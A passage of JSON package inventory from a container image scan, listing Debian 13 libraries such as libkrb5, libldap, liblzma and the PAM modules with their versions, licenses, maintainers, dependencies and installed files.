"Maintainer": "Christian Kastner \u003cckk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libkeyutils.so.1.10", "/usr/share/doc/libkeyutils1/changelog.Debian.gz", "/usr/share/doc/libkeyutils1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libkrb5-3@1.21.3-5+deb13u1", "Name": "libkrb5-3", "Identifier": { "PURL": "pkg:deb/debian/libkrb5-3@1.21.3-5%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "8d415f27019763b2" }, "Version": "1.21.3", "Release": "5+deb13u1", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.21.3", "SrcRelease": "5+deb13u1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libcom-err2@1.47.2-3+b11", "libk5crypto3@1.21.3-5+deb13u1", "libkeyutils1@1.6.3-6", "libkrb5support0@1.21.3-5+deb13u1", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/krb5/plugins/preauth/spake.so", "/usr/lib/x86_64-linux-gnu/libkrb5.so.3.3", "/usr/share/doc/libkrb5-3/README.Debian", "/usr/share/doc/libkrb5-3/README.gz", "/usr/share/doc/libkrb5-3/changelog.Debian.gz", "/usr/share/doc/libkrb5-3/copyright", "/usr/share/lintian/overrides/libkrb5-3" ], "AnalyzedBy": "dpkg" }, { "ID": "libkrb5support0@1.21.3-5+deb13u1", "Name": "libkrb5support0", "Identifier": { "PURL": "pkg:deb/debian/libkrb5support0@1.21.3-5%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "9a69f9b1048a28cf" }, "Version": "1.21.3", "Release": "5+deb13u1", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.21.3", "SrcRelease": "5+deb13u1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1", "/usr/share/doc/libkrb5support0/changelog.Debian.gz", "/usr/share/doc/libkrb5support0/copyright", "/usr/share/lintian/overrides/libkrb5support0" ], "AnalyzedBy": "dpkg" }, { "ID": "liblastlog2-2@2.41-5", "Name": "liblastlog2-2", "Identifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "eb4f5430aea34a10" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libsqlite3-0@3.46.1-7+deb13u1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblastlog2.so.2.0.0", "/usr/share/doc/liblastlog2-2/NEWS.Debian.gz", "/usr/share/doc/liblastlog2-2/changelog.Debian.gz", "/usr/share/doc/liblastlog2-2/changelog.gz", "/usr/share/doc/liblastlog2-2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libldap-common@2.6.10+dfsg-1", "Name": "libldap-common", "Identifier": { "PURL": "pkg:deb/debian/libldap-common@2.6.10%2Bdfsg-1?arch=all\u0026distro=debian-13.6", "UID": "b8051d7f8b53e9a" }, "Version": "2.6.10+dfsg", "Release": "1", "Arch": "all", "SrcName": "openldap", "SrcVersion": "2.6.10+dfsg", "SrcRelease": "1", "Licenses": [ "OpenLDAP-2.8", "FSF-unlimited", "GPL-2.0-with-autoconf-exception+", "GPL-3.0-with-autoconf-exception+", "GPL-2+ with Libtool exception", "GPL-3+ with Libtool exception", "GPL-3.0-or-later", "GPL-2.0-or-later", "UMich", "F5", "JCG", "MIT-XC", "NeoSoft-permissive", "BSD-3-Clause", "Beerware", "public-domain", "BSD-4-clause-California", "BSD-3-clause-variant", "Expat-ISC", "Expat-UNM", "MIT", "BSD-3-clause-California", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Debian OpenLDAP Maintainers \u003cpkg-openldap-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/libldap-common/NEWS.Debian.gz", "/usr/share/doc/libldap-common/changelog.Debian.gz", "/usr/share/doc/libldap-common/changelog.gz", "/usr/share/doc/libldap-common/copyright", "/usr/share/man/man5/ldap.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libldap2@2.6.10+dfsg-1", "Name": "libldap2", "Identifier": { "PURL": "pkg:deb/debian/libldap2@2.6.10%2Bdfsg-1?arch=amd64\u0026distro=debian-13.6", "UID": "643fea25f52a085b" }, "Version": "2.6.10+dfsg", "Release": "1", "Arch": "amd64", "SrcName": "openldap", "SrcVersion": "2.6.10+dfsg", "SrcRelease": "1", "Licenses": [ "OpenLDAP-2.8", "FSF-unlimited", "GPL-2.0-with-autoconf-exception+", "GPL-3.0-with-autoconf-exception+", "GPL-2+ with Libtool exception", "GPL-3+ with Libtool exception", "GPL-3.0-or-later", "GPL-2.0-or-later", "UMich", "F5", "JCG", "MIT-XC", "NeoSoft-permissive", "BSD-3-Clause", "Beerware", "public-domain", "BSD-4-clause-California", "BSD-3-clause-variant", "Expat-ISC", "Expat-UNM", "MIT", "BSD-3-clause-California", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Debian OpenLDAP Maintainers \u003cpkg-openldap-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libsasl2-2@2.1.28+dfsg1-9", "libssl3t64@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblber.so.2.0.200", "/usr/lib/x86_64-linux-gnu/libldap.so.2.0.200", "/usr/share/doc/libldap2/NEWS.Debian.gz", "/usr/share/doc/libldap2/changelog.Debian.gz", "/usr/share/doc/libldap2/changelog.gz", "/usr/share/doc/libldap2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblsan0@14.2.0-19", "Name": "liblsan0", "Identifier": { "PURL": "pkg:deb/debian/liblsan0@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "f5d083dd80fd75a7" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblsan.so.0.0.0", "/usr/share/lintian/overrides/liblsan0" ], "AnalyzedBy": "dpkg" }, { "ID": "liblz4-1@1.10.0-4", "Name": "liblz4-1", "Identifier": { "PURL": "pkg:deb/debian/liblz4-1@1.10.0-4?arch=amd64\u0026distro=debian-13.6", "UID": "c31b43410c927de" }, "Version": "1.10.0", "Release": "4", "Arch": "amd64", "SrcName": "lz4", "SrcVersion": "1.10.0", "SrcRelease": "4", "Licenses": [ "GPL-2.0-or-later", "BSD-2-Clause", "GPL-2.0-only" ], "Maintainer": "Nobuhiro Iwamatsu \u003ciwamatsu@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libxxhash0@0.8.3-2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblz4.so.1.10.0", "/usr/share/doc/liblz4-1/changelog.Debian.gz", "/usr/share/doc/liblz4-1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "liblzma5@5.8.1-1+deb13u1", "Name": "liblzma5", "Identifier": { "PURL": "pkg:deb/debian/liblzma5@5.8.1-1%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "7c14fea99fdaf77" }, "Version": "5.8.1", "Release": "1+deb13u1", "Arch": "amd64", "SrcName": "xz-utils", "SrcVersion": "5.8.1", "SrcRelease": "1+deb13u1", "Licenses": [ "0BSD", "GPL-2.0-or-later", "LGPL-2.1-or-later", "FSFULLR", "GPL-3.0-or-later-WITH-Autoconf-exception-macro", "none", "PD", "permissive-nowarranty", "FSFUL", "noderivs", "PD-debian", "LGPL-2.1-only", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Sebastian Andrzej Siewior \u003csebastian@breakpoint.cc\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblzma.so.5.8.1", "/usr/share/doc/liblzma5/AUTHORS", "/usr/share/doc/liblzma5/NEWS.gz", "/usr/share/doc/liblzma5/THANKS.gz", "/usr/share/doc/liblzma5/changelog.Debian.gz", "/usr/share/doc/liblzma5/changelog.gz", "/usr/share/doc/liblzma5/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmd0@1.1.0-2+b1", "Name": "libmd0", "Identifier": { "PURL": "pkg:deb/debian/libmd0@1.1.0-2%2Bb1?arch=amd64\u0026distro=debian-13.6", "UID": "f3971c5b48c68b3c" }, "Version": "1.1.0", "Release": "2+b1", "Arch": "amd64", "SrcName": "libmd", "SrcVersion": "1.1.0", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-3-clause-Aaron-D-Gifford", "BSD-2-Clause", "BSD-2-Clause-NetBSD", "ISC", "Beerware", "public-domain-md4", "public-domain-md5", "public-domain-sha1" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmd.so.0.1.0", "/usr/share/doc/libmd0/changelog.Debian.amd64.gz", "/usr/share/doc/libmd0/changelog.Debian.gz", "/usr/share/doc/libmd0/changelog.gz", "/usr/share/doc/libmd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmount1@2.41-5", "Name": "libmount1", "Identifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libblkid1@2.41-5", "libc6@2.41-12+deb13u3", "libselinux1@3.8.1-1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmount.so.1.1.0", "/usr/share/doc/libmount1/NEWS.Debian.gz", "/usr/share/doc/libmount1/changelog.Debian.gz", "/usr/share/doc/libmount1/changelog.gz", "/usr/share/doc/libmount1/copyright", "/usr/share/lintian/overrides/libmount1" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpc3@1.3.1-1+b3", "Name": "libmpc3", "Identifier": { "PURL": "pkg:deb/debian/libmpc3@1.3.1-1%2Bb3?arch=amd64\u0026distro=debian-13.6", "UID": "def59033623eacde" }, "Version": "1.3.1", "Release": "1+b3", "Arch": "amd64", "SrcName": "mpclib3", "SrcVersion": "1.3.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgmp10@2:6.3.0+dfsg-3", "libmpfr6@4.2.2-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpc.so.3.3.1", "/usr/share/doc/libmpc3/changelog.Debian.amd64.gz", "/usr/share/doc/libmpc3/changelog.Debian.gz", "/usr/share/doc/libmpc3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libmpfr6@4.2.2-1", "Name": "libmpfr6", "Identifier": { "PURL": "pkg:deb/debian/libmpfr6@4.2.2-1?arch=amd64\u0026distro=debian-13.6", "UID": "a45b5b199226e94d" }, "Version": "4.2.2", "Release": "1", "Arch": "amd64", "SrcName": "mpfr4", "SrcVersion": "4.2.2", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgmp10@2:6.3.0+dfsg-3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libmpfr.so.6.2.2", "/usr/share/doc/libmpfr6/AUTHORS", "/usr/share/doc/libmpfr6/BUGS", "/usr/share/doc/libmpfr6/NEWS.gz", "/usr/share/doc/libmpfr6/README", "/usr/share/doc/libmpfr6/TODO.gz", "/usr/share/doc/libmpfr6/changelog.Debian.gz", "/usr/share/doc/libmpfr6/changelog.gz", "/usr/share/doc/libmpfr6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libncursesw6@6.5+20250216-2", "Name": "libncursesw6", "Identifier": { "PURL": "pkg:deb/debian/libncursesw6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "c7a5d333a8ad931e" }, "Version": "6.5+20250216", "Release": "2", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libtinfo6@6.5+20250216-2" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libformw.so.6.5", "/usr/lib/x86_64-linux-gnu/libmenuw.so.6.5", "/usr/lib/x86_64-linux-gnu/libncursesw.so.6.5", "/usr/lib/x86_64-linux-gnu/libpanelw.so.6.5" ], "AnalyzedBy": "dpkg" }, { "ID": "libnettle8t64@3.10.1-1", "Name": "libnettle8t64", "Identifier": { "PURL": "pkg:deb/debian/libnettle8t64@3.10.1-1?arch=amd64\u0026distro=debian-13.6", "UID": "fd78e15d23b25c1f" }, "Version": "3.10.1", "Release": "1", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.10.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libnettle.so.8.10", "/usr/share/doc/libnettle8t64/NEWS.gz", "/usr/share/doc/libnettle8t64/README", "/usr/share/doc/libnettle8t64/changelog.Debian.gz", "/usr/share/doc/libnettle8t64/changelog.gz", "/usr/share/doc/libnettle8t64/copyright", "/usr/share/lintian/overrides/libnettle8t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules@1.7.0-5", "Name": "libpam-modules", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules@1.7.0-5?arch=amd64\u0026distro=debian-13.6", "UID": "274a704398461ef0" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/security/pam_access.so", "/usr/lib/x86_64-linux-gnu/security/pam_canonicalize_user.so", "/usr/lib/x86_64-linux-gnu/security/pam_debug.so", "/usr/lib/x86_64-linux-gnu/security/pam_deny.so", "/usr/lib/x86_64-linux-gnu/security/pam_echo.so", "/usr/lib/x86_64-linux-gnu/security/pam_env.so", "/usr/lib/x86_64-linux-gnu/security/pam_exec.so", "/usr/lib/x86_64-linux-gnu/security/pam_faildelay.so", "/usr/lib/x86_64-linux-gnu/security/pam_faillock.so", "/usr/lib/x86_64-linux-gnu/security/pam_filter.so", "/usr/lib/x86_64-linux-gnu/security/pam_ftp.so", "/usr/lib/x86_64-linux-gnu/security/pam_group.so", "/usr/lib/x86_64-linux-gnu/security/pam_issue.so", "/usr/lib/x86_64-linux-gnu/security/pam_keyinit.so", "/usr/lib/x86_64-linux-gnu/security/pam_limits.so", "/usr/lib/x86_64-linux-gnu/security/pam_listfile.so", "/usr/lib/x86_64-linux-gnu/security/pam_localuser.so", "/usr/lib/x86_64-linux-gnu/security/pam_loginuid.so", "/usr/lib/x86_64-linux-gnu/security/pam_mail.so", "/usr/lib/x86_64-linux-gnu/security/pam_mkhomedir.so", "/usr/lib/x86_64-linux-gnu/security/pam_motd.so", "/usr/lib/x86_64-linux-gnu/security/pam_namespace.so", "/usr/lib/x86_64-linux-gnu/security/pam_nologin.so", "/usr/lib/x86_64-linux-gnu/security/pam_permit.so", "/usr/lib/x86_64-linux-gnu/security/pam_pwhistory.so", "/usr/lib/x86_64-linux-gnu/security/pam_rhosts.so", "/usr/lib/x86_64-linux-gnu/security/pam_rootok.so", "/usr/lib/x86_64-linux-gnu/security/pam_securetty.so", "/usr/lib/x86_64-linux-gnu/security/pam_selinux.so", "/usr/lib/x86_64-linux-gnu/security/pam_sepermit.so", "/usr/lib/x86_64-linux-gnu/security/pam_setquota.so", "/usr/lib/x86_64-linux-gnu/security/pam_shells.so", "/usr/lib/x86_64-linux-gnu/security/pam_stress.so", "/usr/lib/x86_64-linux-gnu/security/pam_succeed_if.so", "/usr/lib/x86_64-linux-gnu/security/pam_time.so", "/usr/lib/x86_64-linux-gnu/security/pam_timestamp.so", "/usr/lib/x86_64-linux-gnu/security/pam_tty_audit.so", "/usr/lib/x86_64-linux-gnu/security/pam_umask.so", "/usr/lib/x86_64-linux-gnu/security/pam_unix.so", "/usr/lib/x86_64-linux-gnu/security/pam_userdb.so", "/usr/lib/x86_64-linux-gnu/security/pam_usertype.so", "/usr/lib/x86_64-linux-gnu/security/pam_warn.so", "/usr/lib/x86_64-linux-gnu/security/pam_wheel.so", "/usr/lib/x86_64-linux-gnu/security/pam_xauth.so", "/usr/share/doc/libpam-modules/NEWS.Debian.gz", "/usr/share/doc/libpam-modules/changelog.Debian.gz", "/usr/share/doc/libpam-modules/changelog.gz", "/usr/share/doc/libpam-modules/copyright", "/usr/share/doc/libpam-modules/examples/upperLOWER.c", "/usr/share/lintian/overrides/libpam-modules", "/usr/share/pam-configs/mkhomedir" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-modules-bin@1.7.0-5", "Name": "libpam-modules-bin", "Identifier": { "PURL": "pkg:deb/debian/libpam-modules-bin@1.7.0-5?arch=amd64\u0026distro=debian-13.6", "UID": "c9cbae9084b28bae" }, "Version": "1.7.0", "Release": "5", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:4.0.2-2+b2", "libc6@2.41-12+deb13u3", "libcrypt1@1:4.4.38-1", "libpam0g@1.7.0-5", "libselinux1@3.8.1-1", "libsystemd0@257.13-1~deb13u1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/systemd/system/pam_namespace.service", "/usr/sbin/faillock", "/usr/sbin/mkhomedir_helper", "/usr/sbin/pam_namespace_helper", "/usr/sbin/pam_timestamp_check", "/usr/sbin/pwhistory_helper", "/usr/sbin/unix_chkpwd", "/usr/sbin/unix_update", "/usr/share/doc/libpam-modules-bin/changelog.Debian.gz", "/usr/share/doc/libpam-modules-bin/changelog.gz", "/usr/share/doc/libpam-modules-bin/copyright", "/usr/share/lintian/overrides/libpam-modules-bin" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam-runtime@1.7.0-5", "Name": "libpam-runtime", "Identifier": { "PURL": "pkg:deb/debian/libpam-runtime@1.7.0-5?arch=all\u0026distro=debian-13.6", "UID": "1d4f3eaf1c0f9548" }, "Version": "1.7.0", "Release": "5", "Arch": "all", "SrcName": "pam", "SrcVersion": "1.7.0", "SrcRelease": "5", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-1.0-only", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "libpam-modules@1.7.0-5" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/sbin/pam-auth-update", "/usr/sbin/pam_getenv", "/usr/share/doc/libpam-runtime/changelog.Debian.gz", "/usr/share/doc/libpam-runtime/changelog.gz", "/usr/share/doc/libpam-runtime/copyright", "/usr/share/lintian/overrides/libpam-runtime", "/usr/share/locale/af/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/am/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ar/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/as/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/az/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/be/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bn_IN/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/bs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ca/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cs/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/cy/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/da/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/de_CH/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/el/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eo/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/es/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/et/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ga/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/he/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ia/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/id/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/is/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/it/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ja/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ka/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/km/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ko/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kw_GB/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ky/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ml/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ms/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/my/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nb/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ne/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/or/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ro/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ru/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/si/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sq/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr@latin/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ta/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/te/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/th/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/uk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ur/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/vi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/yo/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/Linux-PAM.mo", 